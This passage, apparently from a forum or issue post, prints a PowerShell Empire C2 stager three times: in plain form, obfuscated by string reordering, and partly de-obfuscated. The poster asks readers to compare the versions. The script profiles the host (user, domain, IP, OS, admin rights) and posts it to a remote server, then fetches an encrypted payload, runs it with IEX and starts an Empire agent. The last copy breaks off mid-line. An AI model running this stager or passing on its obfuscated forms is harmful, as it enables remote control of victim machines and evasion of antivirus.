[SYStEM.NeT.CREDentiAlCAChe]::DefaULTCREDENtials;}if ($customHeaders -ne "") {$HEaDeRS = $cUStoMHEaDERS -SpLIt ',';$HeaDeRs | FOREACH-OBjEcT {$HeAdeRKEY = $_.SPLIt(':')[0];$hEaDerVaLuE = $_.Split(':')[1];$wc.HEaDErS.Add($hEaderKEY, $heaDErVALUE);}}$wc.Headers.Add("User-Agent",$UA);$IV=[BitConVErTEr]::GeTBytES($(GeT-RandOm));$daTA = $E.GetbYtEs($ID) + @(0X01,0x02,0X00,0X00) + [BItCONveRteR]::GEtBYtEs($EB.LeNGTH);$Rc4p = CONVertTO-RC4BYTeStrEam -RCK $($IV+$SKB) -IN $Data;$Rc4p = $IV + $rC4p + $Eb;$raw=$wc.UploadData($s+"/news.php","POST",$rc4p);$De=$E.GEtSTrInG($Rs.DEcRYPt($RAw,$FALSE));$noNCE=$De[0..15] -JOiN '';$kEy=$DE[16..$de.LeNgth] -JoIn '';$noNCE=[String]([LONG]$nOnCE + 1);$AES=NEw-ObjeCt SYSTEM.SEcuRITY.CRypTogrApHy.AEsCrypToSERvIcePRovIDeR;$IV = [BYtE] 0..255 | Get-RANdOM -COuNT 16;$AES.Mode="CBC";$AES.Key=$E.GeTByTes($KeY);$AES.IV = $IV;$I=$NOnCe+'|'+$s+'|'+[EnviroNmeNT]::UsERDoMaiNNamE+'|'+[EnVIrONMEnt]::UsErNAme+'|'+[EnvirOnmeNT]::MachiNeNamE;$p=(gwMi WIN32_NeTWORKAdapTERConfIGuraTioN|WHeRE{$_.IPAdDrEsS}|SeLECT -ExPAnD IPADDReSS);$Ip = @{$tRue=$p[0];$fALSE=$P}[$P.LEnGTH -Lt 6];iF(!$IP -or $Ip.TrIM() -Eq '') {$ip='0.0.0.0'};$i+="|$ip";$I+='|'+(GeT-WMIObjECT WiN32_OpeRATInGSystem).Name.SpLit('|')[0];if(([Environment]::UserName).ToLower() -eq "system"){$i+="|True"}else {$i += '|' +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}$N=[SYstEM.DIagnoSTIcs.PrOCesS]::GeTCUrrEntPROCESs();$i+='|'+$n.PRocESsNAme+'|'+$n.ID;$i += "|powershell|" + $PSVersionTable.PSVersion.Major;$ib2=$E.GetbYTES($I);$Eb2=$IV+$AES.CreateEncrYPtOR().TrANsforMFinAlBLoCK($Ib2,0,$Ib2.LengtH);$hMAC.KEy = $E.GEtBYtEs($kEY);$eb2 = $eB2+$hmac.CoMpuTEHAsH($EB2)[0..9];$IV2=[BItConvErteR]::GETByTes($(Get-RaNDOM));$daTa2 = $e.gEtBYTES($ID) + @(0x01,0X03,0x00,0x00) + [BITCOnVErTer]::GEtBYTES($EB2.LeNgth);$Rc4p2 = CoNvERTTO-RC4BYTEStrEam -RCK $($IV2+$SKB) -IN $daTA2;$rC4P2 = $IV2 + $rC4p2 + $EB2;if ($customHeaders -ne "") {$heADeRs = $cUsTomHEadErS -SpLIT ',';$hEadeRS | ForEAcH-ObJECT {$HEaDeRKEY = $_.SPLiT(':')[0];$heaDeRVAlUE = $_.sPLIT(':')[1];$wC.HeADERs.ADD($HEADerKey, $HeaDerVALue);}}$wc.Headers.Add("User-Agent",$UA);$raw=$wc.UploadData($s+"/login/process.php","POST",$rc4p2);IEX $( $e.GETStRINg($(DECRYpT-BYTes -KEy $Key -In $raW)) );$AES=$nuLL;$S2=$nULl;$wc=$nUlL;$EB2=$nuLL;$raW=$NUll;$IV=$Null;$wc=$nUlL;$i=$NuLl;$Ib2=$NULL;[GC]::COLLeCt();Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID;}Start-Negotiate -s "$ser" -SK '3c6e0b8a9c15224a8228b9a98ca1531d' -UA $u;

This is the script post-obfuscation:

  .("{0}{2}{1}" -f 'SE','iTeM','t-')  ("VARiaBL"+"e:0F"+"4G"+"v5") ([tyPE]("{3}{2}{1}{0}{4}"-F '.aS','cTiOn','Fle','Re','semBly')  )  ;  .("{0}{2}{1}" -f 'S','ITeM','eT-')  ("vARia"+"B"+"Le:"+"UR2H"+"cI")  (  [typE]("{5}{0}{3}{1}{4}{2}"-f 'E','O','ng','NC','DI','SysTEm.tExt.')) ;  $01aW  = [tYPE]("{0}{9}{10}{7}{8}{3}{4}{6}{1}{5}{2}"-f'SYsT','O','Rflags','A','p','VidE','HY.cspPr','Y.Cr','YpTOGr','em.se','curiT'); .("{2}{1}{0}" -f 'M','ITe','sEt-') ("vaRIAbl"+"e:9"+"d"+"2o"+"4")  ([TYpe]("{1}{2}{0}{4}{3}" -f'br','SYstem.NE','T.WE','Uest','EQ') )  ;  &('sv')  ("{1}{0}" -f'jg0','H') ([tYPe]("{3}{7}{5}{0}{2}{6}{1}{4}" -F'.','NTIaLca','N','sy','CHe','TEm','et.CREde','S') );  &('SV') ('l3vo'+'jy') ([type]("{2}{0}{1}"-F'rOnm','enT','enVI') );  .("{0}{1}"-f 'Set-IT','Em') ("VARi"+"abl"+"E:15Ju"+"0h")  (  [TypE]("{5}{2}{4}{7}{1}{8}{0}{3}{6}" -F'oW','p','u','sIDE','r','SEc','Ntity','ity.PRinci','Al.wind') ) ;  &("{1}{0}{3}{2}"-f '-vA','sEt','e','RIAbL') ('Aopkq'+'U') (  [tYpE]("{2}{0}{3}{4}{1}"-F'STEM.DIAGNo','ESs','sY','StICS.p','RoC')  ); &('sV') ('dM0o'+'8J')  ( [tYpe]("{0}{2}{1}"-F'biT','nveRtER','co')  )  ;  $t9j5= [tYPe]('GC') ; fUnCtiON START`-`NeGO`Ti`Ate {pArAm(${S},${Sk},${uA}=("{3}{2}{6}{11}{1}{9}{7}{8}{10}{0}{5}{12}{4}"-f'; ','nDows NT ','oZIlLA/','M',' GeCKo','r','5.','1; W','OW64; TrI','6.','DENt/7.0','0 (WI','V:11.0) LiKe'))fUNctiON C`oN`Ve`RtTo-rC`4B`ytEs`TrEAm {PaRaM (${R`CK}, ${i`N})begIN {[BytE[]] ${s} = 0..255;${J} = 0;0..255 | .("{0}{1}{3}{2}"-f'FoRE','aCH','ct','-OBje') {${J} = (${j} + ${s}[${_}] + ${R`cK}[${_} % ${R`CK}."l`eNg`TH"]) % 256;${S}[${_}], ${s}[${J}] = ${S}[${J}], ${S}[${_}];};${i} = ${j} = 0;}pROcEsS {FOREACh(${bY`Te} in ${in}) {${I} = (${i} + 1) % 256;${J} = (${j} + ${s}[${i}]) % 256;${s}[${I}], ${S}[${J}] = ${s}[${J}], ${s}[${i}];${by`Te} -Bxor ${S}[(${s}[${i}] + ${s}[${J}]) % 256];}}}fUnCtIOn decr`Ypt-b`Y`Tes {PaRam (${K`ey}, ${In})if(${I`N}."leNG`Th" -Gt 32) {${H`Mac} = &("{2}{1}{0}"-f 't','-ObjeC','New') ("{0}{7}{5}{4}{8}{2}{1}{3}{6}" -f'Sy','S','PHy.HMAC','H','RypTOG','C','A256','StEm.SEcurITY.','ra');${E}=  ( &("{0}{1}"-f'G','ci') ('vAriabLe:'+'Ur'+'2'+'hci')  )."v`AluE"::"As`cii";${m`Ac} = ${I`N}[-10..-1];${i`N} = ${In}[0..(${IN}."len`GTh" - 11)];${h`MAC}."K`ey" = ${E}.("{1}{0}"-f's','GEtBYtE').Invoke(${K`ey});${eX`pEc`TeD} = ${Hm`AC}.("{2}{0}{1}" -f 'MPUTE','HAsH','CO').Invoke(${iN})[0..9];if (@(.("{3}{0}{2}{1}"-f'Pa','T','Re-OBJEc','COm') ${m`AC} ${Exp`e`CtEd} -SYNC 0)."LEn`g`TH" -ne 0) {rEturN;}${i`V} = ${In}[0..15];${A`ES} = .("{0}{1}{2}" -f 'NEw-Ob','Je','CT') ("{8}{10}{11}{0}{6}{2}{14}{5}{1}{13}{4}{7}{9}{12}{3}"-f'I','y','y','vIDEr','RapHy.AESCrypT','R','t','O','SYsT','SerVIC','eM','.SEcUr','EPrO','ptog','.C');${A`eS}."m`odE" = "CBC";${A`eS}."k`eY" = ${e}.("{0}{2}{1}"-f 'Get','es','ByT').Invoke(${K`ey});${A`Es}."Iv" = ${I`V};(${A`ES}.("{1}{0}{2}{3}" -f 'EATe','Cr','DEcRYP','TOR').Invoke())."tR`AN`SFOrmfInalbl`O`cK"((${iN}[16..${i`N}."lE`NGTH"]), 0, ${in}."le`NgTH"-16)}}${Nu`lL} =  $0F4Gv5::("{3}{2}{4}{1}{0}{5}"-f'Na','tial','thP','LoadWi','ar','me').Invoke(("{0}{1}{2}"-f 'S','ystem.Secur','ity'));${nU`LL} =   (  &("{2}{0}{3}{1}" -f 'ARIAb','e','get-v','L') ('0f4GV'+'5')  -VAluEO )::("{1}{4}{0}{3}{2}" -f'a','LoadWit','alName','rti','hP').Invoke(("{2}{1}{3}{0}"-f'ore','stem','Sy','.C'));${erroRAcTi`O`NPr`efER`EncE} = ("{1}{3}{0}{2}{4}"-f 'C','Si','ont','lently','inue');${E}=  (  .("{1}{0}" -f'EM','it')  ("VarIa"+"b"+"LE:"+"uR2h"+"Ci")  )."V`ALUE"::"aSc`iI";${c`U`sToM`HE`AdErS} = "";${S`kb}=${e}.("{0}{1}" -f'G','etBYTeS').Invoke(${S`k});${A`ES}=&("{0}{1}{3}{2}"-f'N','eW-','EcT','OBj') ("{0}{6}{9}{10}{2}{1}{5}{4}{7}{8}{3}" -f 'S','Pto','ry','R','Ovi','SErvICEPR','YSTEm.SeCuRI','D','e','ty.CryPtogRAp','Hy.AeSC');${I`V} = [Byte] 0..255 | .("{2}{1}{0}" -f'om','AnD','GeT-R') -COunT 16;${A`ES}."Mo`De"="CBC";${A`Es}."K`eY"=${S`kB};${A`es}."I`V" = ${i`V};${hM`AC} = &("{2}{1}{0}" -f 'JeCt','B','New-O') ("{1}{6}{9}{2}{8}{3}{0}{4}{10}{5}{7}{11}"-f'Ty.CR','S','.Se','uRi','Yptogr','y.HMA','yS','CSH','C','tEM','aph','A256');${HM`Ac}."k`ey" = ${S`KB};${c`Sp} = &("{0}{1}{2}{3}"-f 'NE','w','-Obje','ct') ("{2}{0}{5}{4}{1}{3}{6}" -f 'sTEm.S','CSPPARame','Sy','tEr','APhY.','ECUrity.CRyPTOgr','s');${C`sp}."fLa`gs" = ${C`SP}."FL`Ags" -Bor  (.("{2}{0}{1}"-f 'iABl','E','VAR')  ("{0}{1}"-f '0','1AW') )."v`ALUe"::"USE`maC`Hi`N`EKEYsTORe";${Rs} = .("{2}{0}{1}"-f 'W-O','BjeCT','Ne') ("{15}{9}{14}{10}{7}{6}{8}{12}{5}{3}{11}{0}{4}{1}{13}{2}"-f'O','OViD','r','RY','SERVIcEPR','Y.RSAC','RiTY','u','.CryP','Em.','C','pT','TOgrAPh','e','SE','SYsT') -ARGuMeNtLISt 2048,${C`sp};${R`K}=${r`S}.("{1}{0}{3}{2}"-f 'Tri','TOXmLS','g','n').Invoke(${fa`lsE});${I`D}=-join(("{0}{5}{8}{7}{3}{9}{1}{2}{4}{6}"-f 'AB','12','3456','ST','7','CD','89','NPR','EFGHKLM','UVWXYZ').("{0}{2}{3}{1}"-f'T','rray','oC','harA').Invoke()|.("{0}{2}{1}" -f 'Get-Ran','m','do') -Count 8);${i`B}=${E}.("{1}{2}{0}"-f'S','GET','byTe').Invoke(${r`k});${e`B}=${i`V}+${a`ES}.("{1}{0}{2}{3}"-f'eATEENcRy','Cr','Pt','OR').Invoke().("{4}{3}{1}{5}{0}{2}" -f'OC','rMFInALB','K','ANsFo','TR','l').Invoke(${i`B},0,${i`B}."LENG`TH");${eb}=${e`B}+${hM`Ac}.("{2}{0}{3}{1}"-f'MP','H','CO','UTeHAS').Invoke(${e`B})[0..9];If(-Not ${WC}) {${w`C}=&("{1}{2}{0}"-f'cT','Ne','W-ObJE') ("{2}{1}{0}{3}" -f'.Ne','Em','SysT','t.WEbCLienT');${w`c}."PrO`xy" =   (  .("{1}{0}" -f'r','Di') ("VariAbL"+"E:9"+"D"+"2o"+"4"))."V`ALUE"::("{1}{2}{3}{0}{4}" -f 'WEBPR','GE','TSYSTE','m','OXY').Invoke();${w`c}."prO`Xy"."cr`e`DENTi`ALS" =   (  &("{1}{0}" -f 'cI','g') ("{1}{0}{3}{2}" -f 'aRiAbL','v','Hjg0','E:') )."V`AluE"::"D`efa`ul`TCREDeNtiA`ls";}if (${Cu`StoM`Head`eRS} -ne "") {${hE`AdErS} = ${cu`St`OMHeA`DERS} -split ',';${hE`Ad`erS} | &("{2}{4}{3}{1}{0}"-f 't','bjEC','FOREaC','-O','h') {${hE`A`DERKeY} = ${_}.("{1}{0}" -f 'pLIT','S').Invoke(':')[0];${h`EaDErva`lUE} = ${_}.("{1}{0}"-f 't','splI').Invoke(':')[1];${W`C}."H`EADE`RS".("{1}{0}"-f 'd','AD').Invoke(${h`eAdeR`kEY}, ${hE`ADERVA`L`ue});}}${w`c}."HE`ADeRS".("{1}{0}" -f 'dd','A').Invoke(("{2}{1}{0}"-f 'nt','ge','User-A'),${uA});${iv}=  (&("{0}{1}"-f'GC','I')  ('VaRI'+'ABle'+':Dm0o'+'8j'))."vaL`Ue"::("{1}{2}{0}" -f 'ES','GetBY','T').Invoke($(&("{0}{1}{2}"-f'GEt-','R','aNdom')));${DA`Ta} = ${E}.("{2}{1}{0}" -f 's','etBytE','g').Invoke(${I`d}) + @(0x01,0x02,0X00,0x00) +   $dm0O8J::("{1}{2}{0}"-f 's','GeT','BYtE').Invoke(${EB}."LEnG`TH");${R`c4P} = .("{1}{3}{0}{4}{2}"-f'ytES','CoNVERtTo-R','M','C4B','trEa') -RCK $(${Iv}+${s`kb}) -IN ${da`TA};${R`c4p} = ${iV} + ${rC`4p} + ${eb};${R`AW}=${wc}.("{1}{0}{2}" -f 'loadDat','Up','a').Invoke(${s}+("{2}{1}{0}{3}"-f't','admin/ge','/','.php'),("{0}{1}" -f'P','OST'),${rC`4p});${DE}=${e}.("{0}{2}{1}" -f 'GEt','inG','STR').Invoke(${r`S}.("{0}{1}" -f'D','EcrypT').Invoke(${r`AW},${F`AlSE}));${n`O`NCE}=${d`E}[0..15] -JoiN '';${k`EY}=${D`E}[16..${DE}."LeNg`TH"] -jOin '';${nOn`cE}=[StRiNg]([lonG]${N`O`NcE} + 1);${A`ES}=&("{1}{0}{2}" -f'EW-O','N','BJECt') ("{11}{0}{6}{8}{3}{4}{5}{2}{7}{9}{10}{1}" -f 'Tem','oVIDeR','Ser','Ity.CryPtOgraPHy.AeS','C','ryptO','.','v','SEcur','i','CEPr','SYS');${IV} = [ByTE] 0..255 | .("{0}{2}{1}" -f 'GeT-RA','dOM','N') -CoUNt 16;${a`es}."mO`De"="CBC";${A`ES}."k`ey"=${E}.("{2}{0}{1}" -f 'Byte','s','GET').Invoke(${K`Ey});${A`es}."iv" = ${IV};${I}=${nOn`cE}+'|'+${s}+'|'+ $l3VojY::"U`SERD`omAi`NNaMe"+'|'+ $L3vOjy::"UsER`NaME"+'|'+  (.("{0}{2}{1}"-f 'VARIab','e','l')  ("{1}{0}{2}" -f'v','l3','oJY') -VaL )::"m`ACHiNenA`me";${P}=(&("{1}{0}"-f'mI','gw') ("{9}{2}{7}{0}{6}{5}{1}{8}{3}{4}"-f'or','g','N','rATI','On','OnfI','KAdapteRC','32_Netw','u','WI')|&("{1}{0}" -f'HEre','W'){${_}."IPA`Ddr`Ess"}|&("{1}{0}{2}"-f'e','S','lect') -EXpand ("{0}{2}{1}"-f 'IPAd','REss','D'));${I`p} = @{${Tr`uE}=${p}[0];${F`AlsE}=${p}}[${p}."l`ength" -lT 6];if(!${I`p} -or ${I`P}.("{1}{0}"-f 'iM','tR').Invoke() -Eq '') {${I`p}=("{0}{1}" -f '0.0.0','.0')};${I}+="|$ip";${i}+='|'+(.("{1}{3}{0}{2}" -f'bjE','GeT-WM','cT','iO') ("{5}{4}{0}{3}{1}{2}"-f 'Ng','y','sTEm','S','ATi','Win32_OpEr'))."na`ME".("{0}{1}" -f'S','pLIt').Invoke('|')[0];if(( $l3vojy::"USe`Rn`AME").("{1}{0}" -f 'r','ToLowe').Invoke() -eq ("{2}{0}{1}" -f 'y','stem','s')){${i}+=(('n48True')  -CRepLACe ([CHAR]110+[CHAR]52+[CHAR]56),[CHAR]124)}else {${I} += '|' +([Security.Principal.WindowsPrincipal]   $15JU0H::("{1}{2}{3}{0}"-f'rrent','Get','C','u').Invoke())."isiNr`o`le"([Security.Principal.WindowsBuiltInRole] ("{3}{1}{0}{2}"-f 'nistrat','dmi','or','A'))}${N}=  $AoPkqu::("{3}{0}{1}{2}"-f'U','RRENtPrOce','sS','GeTC').Invoke();${I}+='|'+${n}."PROC`e`Ssn`Ame"+'|'+${n}."Id";${I} += (("{4}{2}{0}{1}{3}"-f'h','e','owers','llJxY','JxYp'))."r`EpL`ACE"(([ChAr]74+[ChAr]120+[ChAr]89),[StRIng][ChAr]124) + ${P`s`VER`SionTAbLe}."Psver`s`ION"."M`AjoR";${I`B2}=${e}.("{2}{1}{0}"-f's','ETByTE','g').Invoke(${I});${e`B2}=${i`V}+${a`es}.("{0}{2}{3}{4}{1}"-f'Creat','pTor','eENC','R','y').Invoke().("{0}{3}{4}{1}{2}"-f'T','A','LBLoCK','RA','NsformFIn').Invoke(${I`B2},0,${i`B2}."Le`Ngth");${H`maC}."k`Ey" = ${E}.("{1}{2}{0}" -f'S','GeTByt','e').Invoke(${K`ey});${E`B2} = ${E`B2}+${h`MAC}.("{1}{0}{2}{3}" -f 'p','COm','UTEHA','SH').Invoke(${e`B2})[0..9];${I`V2}= ( &('gi')  ("{3}{2}{0}{4}{1}"-f 'Le','8j','B','vAria',':dm0o')  )."vA`LUe"::("{1}{0}{2}" -f 'TBYtE','GE','S').Invoke($(.("{3}{2}{0}{1}" -f'Do','m','N','GET-RA')));${Da`T`A2} = ${E}.("{0}{1}" -f'GeTbyt','ES').Invoke(${I`D}) + @(0x01,0x03,0x00,0x00) +   ( &("{1}{0}"-f 'Le','VarIAB')  ('dm0o'+'8J')  )."va`luE"::("{0}{2}{1}"-f 'GeTBy','eS','T').Invoke(${E`B2}."lEn`G`TH");${R`c4P2} = .("{4}{1}{2}{3}{6}{0}{5}" -f '-RC4BYTESt','o','nvER','T','C','reaM','To') -RCK $(${i`V2}+${S`kb}) -IN ${d`A`TA2};${R`c4`P2} = ${i`V2} + ${R`c4p2} + ${E`B2};if (${Cus`TomHe`Aders} -ne "") {${he`ADeRs} = ${C`UsT`Om`HEAdERS} -SplIT ',';${H`eAde`RS} | &("{1}{4}{2}{0}{3}"-f 'J','FOr','-OB','ECT','EACh') {${he`Ad`eRkeY} = ${_}.("{1}{0}"-f 'LIT','SP').Invoke(':')[0];${H`EaDer`ValUe} = ${_}.("{0}{1}" -f 's','PLit').Invoke(':')[1];${wC}."hEa`deRs".("{1}{0}" -f'd','Ad').Invoke(${hEADer`K`ey}, ${hEADe`RV`ALue});}}${wC}."HE`ADe`Rs".("{0}{1}" -f 'Ad','d').Invoke(("{2}{0}{1}"-f'gen','t','User-A'),${u`A});${R`Aw}=${W`c}.("{1}{0}{2}{3}" -f'lo','Up','adD','ata').Invoke(${S}+("{1}{0}"-f'news.php','/'),("{0}{1}" -f 'PO','ST'),${r`C`4p2});.("{1}{0}"-f 'X','IE') $( ${e}.("{3}{1}{0}{2}"-f 'Str','ET','Ing','G').Invoke($(.("{2}{3}{1}{0}" -f'Es','T','DEcRY','pT-BY') -KEY ${k`Ey} -In ${R`AW})) );${a`ES}=${N`uLl};${s2}=${NU`Ll};${W`C}=${Nu`lL};${e`B2}=${n`Ull};${R`Aw}=${nU`Ll};${Iv}=${NU`lL};${W`c}=${NU`lL};${I}=${n`ull};${i`B2}=${Nu`LL}; (&("{0}{1}" -f'd','Ir')  ('va'+'RIAB'+'Le:t9'+'J'+'5'))."VA`LUE"::("{1}{0}" -f 'olLEcT','C').Invoke();&("{1}{2}{3}{0}" -f'e','Invoke-E','m','pir') -Servers @((${S} -split "/")[0..2] -join "/") -StagingKey ${sK} -SessionKey ${K`Ey} -SessionID ${iD};}&("{4}{1}{3}{0}{2}" -f'go','art','tiate','-Ne','St') -s "$ser" -SK ("{0}{8}{2}{1}{7}{6}{3}{4}{5}" -f'3c6e0b8a9c15','a','28b9','15','3','1d','ca','98','224a82') -UA ${u};

Additionally, here is a copy of the working script post-obfuscation after disabling the obfuscation types mentioned above. Maybe there is a difference between this one and the normal post-obfuscation script you will be able to detect:

set-ItEM  ('v'+'arIab'+'le:9ernQ'+'0')  ( [TYpe]("{1}{5}{3}{0}{2}{6}{4}" -F'ctI','R','ON.Asse','FlE','ly','E','Mb')) ;  seT-vArIaBle  ("{0}{1}"-f'j','N4Ba') ([tyPE]("{3}{1}{0}{2}" -F'ExT.eNcODI','eM.t','Ng','SYSt') )  ;  SET ("{1}{0}" -f 'Z','O8Lb') ( [tYPE]("{3}{8}{4}{7}{6}{0}{2}{1}{9}{5}" -F 'oGR','y.CSPPr','apH','SYsTEm.se','Y.','S','RypT','c','CUriT','ovIdeRFlAG') )  ;sEt-vARiablE  ("{0}{1}" -f'3E1','S') (  [tyPe]("{0}{1}{3}{2}{4}" -f 'SyStEM.N','ET','web','.','REqueST') ) ; ${9`Px} =  [typE]("{3}{1}{0}{4}{2}"-f're','TEM.nET.c','EnTiALcaCHE','sys','d')  ;  sET-VariabLe ("{0}{1}"-f '2','kU9AV') (  [TyPE]("{1}{2}{0}" -F 'nMeNT','EN','vIRo'))  ; SEt-ITeM ("{2}{0}{1}" -f'iaBLE:52F','6Z4','VaR')  ( [tYpE]("{8}{9}{1}{3}{0}{4}{5}{10}{7}{2}{6}"-f 'W','.','Tit','PrInCipal.','INdoW','si','Y','N','seCuR','Ity','De')  )  ;  sET-iTEM  ('va'+'rI'+'ABle:R'+'SJ') ( [tYpE]("{0}{2}{4}{3}{1}{6}{5}"-f's','DIaGNo','ys','.','tEM','CESs','StiCs.pRO')  ) ;  set-iTeM ("vARiablE"+":H4"+"Y"+"sF")  ( [type]("{0}{3}{2}{1}" -F'BI','ER','t','TCONveR')  ) ;   Sv ("{0}{1}"-f 'JC0','A')  ( [tYpe]('gc')  )  ;fUNcTiON sTarT`-`Ne`Go`TIATE {parAm(${s},${S`k},${U`A}='MoZilLA/5.0 (WIndOWS NT 6.1; WOW64; TrIDeNt/7.0; rv:11.0) LiKe GEcKo')FUnCTiON convE`Rtt`O-`Rc4b`yT`EsTre`AM {PaRaM (${r`cK}, ${IN})BegIn {[BYTe[]] ${S} = 0..255;${j} = 0;0..255 | FOREAcH-OBjecT {${J} = (${j} + ${s}[${_}] + ${r`cK}[${_} % ${r`Ck}."LeN`g`TH"]) % 256;${s}[${_}], ${S}[${J}] = ${S}[${J}], ${s}[${_}];};${I} = ${j} = 0;}pRocEsS {ForEacH(${BY`Te} in ${I`N}) {${i} = (${I} + 1) % 256;${J} = (${j} + ${S}[${i}]) % 256;${s}[${i}], ${S}[${j}] = ${s}[${J}], ${S}[${i}];${By`Te} -BXOR ${S}[(${S}[${i}] + ${S}[${j}]) % 256];}}}FunctIoN dEcryp`T-`BytES {Param (${K`ey}, ${IN})IF(${i`N}."LENG`TH" -Gt 32) {${hM`AC} = NEw-ObJect ("{3}{10}{4}{0}{8}{1}{2}{9}{5}{7}{11}{6}" -f'eC','Rity.CryptoGRAP','h','Sy','em.S','.HM','6','A','U','Y','ST','CSHA25');${E}= (  GeT-VARIAblE ("{0}{1}"-f'jn','4Ba')  )."Va`lUe"::"as`CiI";${m`Ac} = ${I`N}[-10..-1];${I`N} = ${I`N}[0..(${IN}."LeNg`Th" - 11)];${hm`Ac}."K`EY" = ${e}."g`e`TbYtES"(${k`EY});${exPec`T`eD} = ${HM`Ac}."cOMPu`T`EHASh"(${i`N})[0..9];IF (@(COMpARe-ObJect ${m`Ac} ${E`XPE`cTED} -SYnc 0)."lE`Ngth" -nE 0) {rETURN;}${I`V} = ${In}[0..15];${a`es} = NeW-OBJect ("{6}{10}{12}{5}{2}{11}{1}{9}{7}{8}{0}{4}{3}"-f'E','.AEsC','Ty.CrYP','iDEr','ProV','Ri','SYs','OSErV','IC','RYPT','tEm','toGRApHy','.SEcu');${a`Es}."m`oDe" = "CBC";${A`ES}."K`eY" = ${E}."gEt`B`YTeS"(${K`EY});${a`es}."I`V" = ${I`V};(${a`Es}."creat`e`DE`CRYpTOR"())."traNsFor`mF`InALBL`OCK"((${IN}[16..${in}."LEN`G`Th"]), 0, ${i`N}."LEng`Th"-16)}}${n`ULl} =   ( gEt-item  ("{2}{0}{3}{1}" -f 'BLe','Ernq0','varIA',':9'))."Val`ue"::"l`oaDWithPa`R`TIaLn`A`mE"("System.Security");${n`uLl} =   ${9eR`N`Q0}::"Lo`A`dwItHp`A`RtiAlN`AMe"("System.Core");${ERroraC`Ti`o`NPr`e`FErENce} = "SilentlyContinue";${E}=  ( varIable ("{0}{1}" -f 'JN4b','A') )."V`AluE"::"a`sCIi";${cu`STOm`H`eA`DERs} = "";${S`kb}=${e}."GE`TBY`TES"(${S`k});${a`ES}=NEw-ObjECT ("{4}{12}{15}{10}{7}{1}{8}{13}{11}{6}{3}{9}{2}{14}{0}{5}"-f 'd','r','ceP','V','Sy','er','ToSer','Y.C','Yptography.AEs','i','cURIT','p','st','Cry','ROvi','em.Se');${I`V} = [byTE] 0..255 | Get-RANDOM -cOUnt 16;${A`ES}."m`ODe"="CBC";${a`ES}."K`Ey"=${s`Kb};${a`eS}."iV" = ${Iv};${hM`Ac} = New-ObJECT ("{3}{2}{5}{7}{0}{6}{4}{1}"-f 'pT','CSHA256','YS','S','Aphy.HMA','tEm.S','OGR','ecurITY.CrY');${hM`AC}."K`Ey" = ${s`kb};${c`sP} = NEW-OBjECt ("{1}{7}{3}{0}{2}{5}{6}{4}{8}"-f'TY.Cr','Sy','Y','em.SeCuRI','Csp','p','toGRAphy.','st','ParamEtErs');${c`SP}."f`LaGs" = ${C`SP}."f`lagS" -BOR   (gET-vAriable  ("{0}{1}" -f'o8','Lbz')  )."VA`LuE"::"u`SEma`ChIne`KEys`T`OrE";${rs} = NeW-OBjECT ("{13}{10}{7}{8}{3}{11}{6}{5}{14}{4}{0}{12}{1}{2}{9}"-f 'yPTOSErvi','Ovi','de','C','ACR','p','Y','C','URITY.','r','M.SE','r','cEPR','SYsTe','TogRAPHY.RS') -ARGUMentLIST 2048,${c`sP};${R`k}=${Rs}."T`o`xmLstrINg"(${fAL`SE});${i`D}=-join("ABCDEFGHKLMNPRSTUVWXYZ123456789"."tOC`h`ARaRR`AY"()|Get-Random -Count 8);${I`B}=${E}."Ge`Tby`Tes"(${rK});${e`B}=${I`V}+${a`ES}."C`ReAtee`NCrYP`ToR"()."TRansFoR`Mfi`Na`lbLo`CK"(${Ib},0,${iB}."leNG`Th");${EB}=${e`B}+${H`mAc}."cOMpU`TEHa`sH"(${E`B})[0..9];if(-NoT ${WC}) {${Wc}=NeW-OBjeCt ("{4}{1}{2}{3}{0}"-f 'iEnt','YSTEM.N','Et.W','ebCl','S');${W`c}."P`ROxy" =  (GEt-VaRIABLe  ("{0}{1}" -f'3E1','s')  -vAlu  )::"Ge`TsysTEMWE`B`p`RO`XY"();${W`c}."pr`OXy"."cRED`enT`IALS" =  ${9`Px}::"DeF`Au`ltCrE`DEN`TiaLs";}if (${C`u`Stom`heAders} -ne "") {${HE`A`dErs} = ${c`u`sT`OMHea`DErS} -SpLIt ',';${he`A`DERs} | FOREACH-OBjEcT {${HeA`DeR`KeY} = ${_}."s`PlIT"(':')[0];${he`Ad`eRvAl`ue} = ${_}."sPL`It"(':')[1];${wC}."HEA`d`eRS"."A`DD"(${hEAdEr`k`ey}, ${h`eADerv`ALUE});}}${WC}."He`ADErs"."A`dD"("User-Agent",${U`A});${Iv}= (gcI ("Va"+"Ri"+"aBLE:h4ys"+"F")  )."vAl`UE"::"g`eTbyt`eS"($(GeT-RandOm));${d`Ata} = ${e}."gEtBY`TeS"(${i`d}) + @(0X01,0x02,0X00,0X00) +  ( GeT-vARIAbLE ("{0}{1}" -f'H4y','sF') )."VAl`Ue"::"G`ETbYT`Es"(${EB}."L`ENgtH");${Rc`4P} = CONVertTO-RC4BYTeStrEam -RCK $(${IV}+${S`Kb}) -IN ${da`TA};${Rc`4P} = ${iv} + ${RC`4P} + ${E`B};${r`AW}=${wc}."UPLO`AddA`Ta"(${S}+"/news.php","POST",${RC`4P});${D`e}=${e}."gETsTR`ing"(${R`S}."DeCR`Ypt"(${r`AW},${fA`L`Se}));${nO`NCe}=${DE}[0..15] -JOiN '';${k`EY}=${D`E}[16..${dE}."lEn`G`Th"] -JoIn '';${NON`CE}=[String]([LONG]${n`o`NCe} + 1);${a`Es}=NEw-ObjeCt ("{9}{0}{3}{2}{10}{4}{5}{6}{8}{1}{7}"-f'T','ovID','cuRI','EM.SE','rApHy','.A','EsCrypToSERvIce','eR','PR','SYS','TY.CRypTog');${I`V} = [BYtE] 0..255 | Get-RANdOM -COuNT 16;${a`es}."Mo`De"="CBC";${a`es}."K`ey"=${E}."G`etbyTEs"(${k`Ey});${a`es}."iv" = ${i`V};${i}=${NO`N`cE}+'|'+${S}+'|'+ ( Dir  ("{2}{3}{0}{1}"-f'iABlE:2KU9','av','va','R')  )."v`ALue"::"usERdo`maI`N`NaMe"+'|'+  (  GCI  ('vArIABL'+'E:2'+'k'+'U9aV') )."v`ALUe"::"US`Ern`AMe"+'|'+  (  VARiAbLe ("{0}{1}"-f'2','ku9aV')  )."vA`lUE"::"MAch`iNen`A`ME";${p}=(gwMi ("{2}{5}{4}{6}{0}{1}{3}{7}"-f 